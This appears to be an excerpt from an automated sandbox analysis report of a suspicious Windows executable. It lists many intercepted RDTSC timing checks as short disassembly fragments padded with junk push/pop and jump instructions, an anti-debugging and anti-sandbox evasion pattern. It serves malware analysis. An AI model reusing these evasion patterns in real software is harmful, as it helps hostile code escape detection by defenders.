Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4EE31 second address: D4EE3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4EE3C second address: D4EE4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F0550D663C6h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D4EE4E second address: D4EE58 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0550733D06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D505CE second address: D505D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D52EF3 second address: D52EF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D5319F second address: D531A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D531A3 second address: D531A9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D53477 second address: D5349D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0550D663CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0550D663D1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D5349D second address: D534A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D534A3 second address: D5352F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jno 00007F0550D663C6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f mov edx, dword ptr [ebp+122D25DDh] 0x00000015 push dword ptr [ebp+122D1F06h] 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F0550D663C8h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 movzx edx, dx 0x00000038 call 00007F0550D663C9h 0x0000003d jns 00007F0550D663D8h 0x00000043 push eax 0x00000044 push edi 0x00000045 pushad 0x00000046 jmp 00007F0550D663D9h 0x0000004b jc 00007F0550D663C6h 0x00000051 popad 0x00000052 pop edi 0x00000053 mov eax, dword ptr [esp+04h] 0x00000057 push eax 0x00000058 push edx 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D5352F second address: D53534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D53534 second address: D5353A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D5353A second address: D53550 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b jne 00007F0550733D08h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D53550 second address: D5356A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0550D663C6h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jp 00007F0550D663D4h 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D568F9 second address: D568FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: D568FD second address: D56938 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0550D663C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f je 00007F0550D663C6h 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F0550D663D3h 0x0000001c popad 0x0000001d popad 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F0550D663CCh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450D89 second address: 5450D8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450D8D second address: 5450D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450D93 second address: 5450D99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450D99 second address: 5450D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450D9D second address: 5450DC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450DC2 second address: 5450DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450DC6 second address: 5450DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450DCA second address: 5450DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450DD0 second address: 5450E4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F0550733D16h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F0550733D13h 0x00000019 or si, 143Eh 0x0000001e jmp 00007F0550733D19h 0x00000023 popfd 0x00000024 popad 0x00000025 mov ebx, esi 0x00000027 popad 0x00000028 pop ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c mov ebx, 2A02A1AAh 0x00000031 call 00007F0550733D0Bh 0x00000036 pop esi 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54209B4 second address: 54209FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0550D663D7h 0x00000009 adc si, 669Eh 0x0000000e jmp 00007F0550D663D9h 0x00000013 popfd 0x00000014 mov esi, 02225A67h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54209FE second address: 5420A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5420A02 second address: 5420A06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5420A06 second address: 5420A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5420A0C second address: 5420A12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5420A12 second address: 5420A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5420A16 second address: 5420A1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460EA6 second address: 5460EAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460EAA second address: 5460EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460EB0 second address: 5460EDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F0550733D10h 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 mov bx, 9952h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460EDB second address: 5460EE6 instructions: 0x00000000 rdtsc 0x00000002 mov bx, F89Eh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460EE6 second address: 5460F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov si, bx 0x0000000d mov ebx, 1F33E85Ah 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 jmp 00007F0550733D11h 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push edi 0x0000001f pop eax 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53E0C21 second address: 53E0C9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov eax, 31CE5823h 0x00000010 movzx esi, bx 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 mov edi, 4C9D5BE4h 0x0000001c mov edi, 1CC65250h 0x00000021 popad 0x00000022 push dword ptr [ebp+04h] 0x00000025 pushad 0x00000026 mov edi, 03721B68h 0x0000002b call 00007F0550D663D1h 0x00000030 pushfd 0x00000031 jmp 00007F0550D663D0h 0x00000036 sub esi, 6F7F6DC8h 0x0000003c jmp 00007F0550D663CBh 0x00000041 popfd 0x00000042 pop esi 0x00000043 popad 0x00000044 push dword ptr [ebp+0Ch] 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53E0C9F second address: 53E0CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53E0CA3 second address: 53E0CA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53E0CF7 second address: 53E0CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410983 second address: 5410989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410989 second address: 541098D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 541098D second address: 54109B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0550D663D0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54109B3 second address: 54109B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54109B9 second address: 54109BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54109BF second address: 54109C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54109C3 second address: 54109D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ah, E3h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54109D3 second address: 54109D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54109D8 second address: 54109DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54109DE second address: 54109E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54109E2 second address: 54109E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54109E6 second address: 54109F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop eax 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54109F7 second address: 5410A23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F0550D663CDh 0x00000013 mov bx, ax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54606F1 second address: 54606F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54606F7 second address: 5460730 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F0550D663D6h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0550D663D7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460730 second address: 546076D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F0550733D0Eh 0x00000010 pop ebp 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F0550733D0Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 546062C second address: 5460630 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460630 second address: 5460636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460636 second address: 5460652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0550D663D8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460652 second address: 5460656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460656 second address: 5460677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a mov ebx, ecx 0x0000000c mov cx, 1F05h 0x00000010 popad 0x00000011 mov dword ptr [esp], ebp 0x00000014 pushad 0x00000015 mov dx, ax 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460677 second address: 546067B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 546067B second address: 546067F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 546067F second address: 5460685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460685 second address: 54606B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0550D663D5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54606B4 second address: 54606BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54604F0 second address: 54604F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54604F4 second address: 5460545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 movzx esi, dx 0x0000000c mov bh, ABh 0x0000000e popad 0x0000000f mov dword ptr [esp], ebp 0x00000012 pushad 0x00000013 push esi 0x00000014 mov ax, dx 0x00000017 pop edx 0x00000018 pushfd 0x00000019 jmp 00007F0550733D18h 0x0000001e and esi, 2E000838h 0x00000024 jmp 00007F0550733D0Bh 0x00000029 popfd 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 mov edx, 281BD826h 0x00000035 mov ecx, edx 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54207ED second address: 54207FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54207FC second address: 5420831 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0550733D0Fh 0x00000009 and ecx, 2E4972CEh 0x0000000f jmp 00007F0550733D19h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5420831 second address: 5420844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movsx edi, cx 0x0000000f movzx eax, dx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5420844 second address: 5420871 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0550733D0Ah 0x00000008 mov bl, ch 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0550733D18h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460A2F second address: 5460A35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460A35 second address: 5460A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460A39 second address: 5460AAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F0550D663D4h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F0550D663CDh 0x0000001a and eax, 203346E6h 0x00000020 jmp 00007F0550D663D1h 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007F0550D663D0h 0x0000002c jmp 00007F0550D663D5h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5460AAA second address: 5460ADE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 jmp 00007F0550733D13h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0550733D15h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410891 second address: 54108AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 jmp 00007F0550D663CBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 movsx edx, cx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450E8C second address: 5450E92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450E92 second address: 5450EB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F0550D663CCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 mov cx, 14C3h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450EB1 second address: 5450EDE instructions: 0x00000000 rdtsc 0x00000002 mov di, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushfd 0x0000000a jmp 00007F0550733D12h 0x0000000f add cx, 5788h 0x00000014 jmp 00007F0550733D0Bh 0x00000019 popfd 0x0000001a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54608B6 second address: 54608C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54608C5 second address: 54608DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0550733D14h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54608DD second address: 546090E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F0550D663CEh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0550D663D7h 0x00000016 rdtsc
